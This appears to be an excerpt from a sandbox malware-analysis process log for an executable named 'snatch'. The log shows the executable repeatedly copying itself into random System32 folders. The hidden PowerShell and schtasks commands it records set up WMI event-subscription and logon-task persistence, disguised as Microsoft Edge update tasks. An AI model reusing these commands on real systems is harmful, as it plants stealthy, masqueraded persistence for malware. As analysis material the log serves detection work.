  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\zpty7lywvr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9172

C:\Windows\System32\zpty7lywvr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\zpty7lywvr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8828
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-4xwsvos1pm /tr C:\Windows\System32\ftr7pusu3o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ftr7pusu3o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:9160

C:\Windows\System32\ftr7pusu3o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ftr7pusu3o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8588
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-epzelqe4zw /tr C:\Windows\System32\gqtf59opma\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\gqtf59opma\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8836

C:\Windows\System32\gqtf59opma\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\gqtf59opma\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9252
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-qijlsl3cpn /tr C:\Windows\System32\ucxghxntgb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ucxghxntgb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:9328

C:\Windows\System32\ucxghxntgb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ucxghxntgb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9536
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-bqwnkmq7ol /tr C:\Windows\System32\5peiwv6ksr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\5peiwv6ksr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9608

C:\Windows\System32\5peiwv6ksr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\5peiwv6ksr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9796
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-m59n57i1jk /tr C:\Windows\System32\xjr78cn0ft\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\xjr78cn0ft\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:9868

C:\Windows\System32\xjr78cn0ft\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\xjr78cn0ft\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10056
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ra2n0cpwgb /tr C:\Windows\System32\yn4etcek4t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\yn4etcek4t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10128

C:\Windows\System32\yn4etcek4t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\yn4etcek4t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9160
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-e6en0szjam /tr C:\Windows\System32\w54ddqoap1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\w54ddqoap1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9304

C:\Windows\System32\w54ddqoap1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\w54ddqoap1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9576
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-xh0mnjoil4 /tr C:\Windows\System32\fy6q3g2atm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\fy6q3g2atm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9648

C:\Windows\System32\fy6q3g2atm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\fy6q3g2atm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9880
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-x0221n2v0w /tr C:\Windows\System32\zeghq3nj2x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\zeghq3nj2x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:9868

C:\Windows\System32\zeghq3nj2x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\zeghq3nj2x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:2912
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-9ngx9wcal1 /tr C:\Windows\System32\w0422trfr4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\w0422trfr4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9512

C:\Windows\System32\w0422trfr4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\w0422trfr4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7736
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-5e3fzpntem /tr C:\Windows\System32\gp81glltk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\gp81glltk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9856

C:\Windows\System32\gp81glltk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\gp81glltk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10168
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-u86zs64eym /tr C:\Windows\System32\rtv4fta5cb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rtv4fta5cb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9468

C:\Windows\System32\rtv4fta5cb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rtv4fta5cb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9900
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-rjlbe6jyki /tr C:\Windows\System32\0gu0ltnlf6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\0gu0ltnlf6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:956

C:\Windows\System32\0gu0ltnlf6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\0gu0ltnlf6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9380
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-x1u9e50v3i /tr C:\Windows\System32\c85r82an6s\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\c85r82an6s\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:7964

C:\Windows\System32\c85r82an6s\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\c85r82an6s\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6984
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-gnfvmeib7w /tr C:\Windows\System32\yfxavhb8d0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\yfxavhb8d0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9968

C:\Windows\System32\yfxavhb8d0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\yfxavhb8d0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10272
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ovvblmsfuc /tr C:\Windows\System32\5xq9ze61bj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\5xq9ze61bj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10344

C:\Windows\System32\5xq9ze61bj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\5xq9ze61bj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10528
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ks1hrlmqlv /tr C:\Windows\System32\fhrqnxc9sw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\fhrqnxc9sw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10600

C:\Windows\System32\fhrqnxc9sw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\fhrqnxc9sw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10784
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-5jpl8fvep1 /tr C:\Windows\System32\kz4asyr7e1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:10840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\kz4asyr7e1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10856

C:\Windows\System32\kz4asyr7e1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\kz4asyr7e1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:11044
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-rnwtb3xtcp /tr C:\Windows\System32\hrfm3bi0jj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:11104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
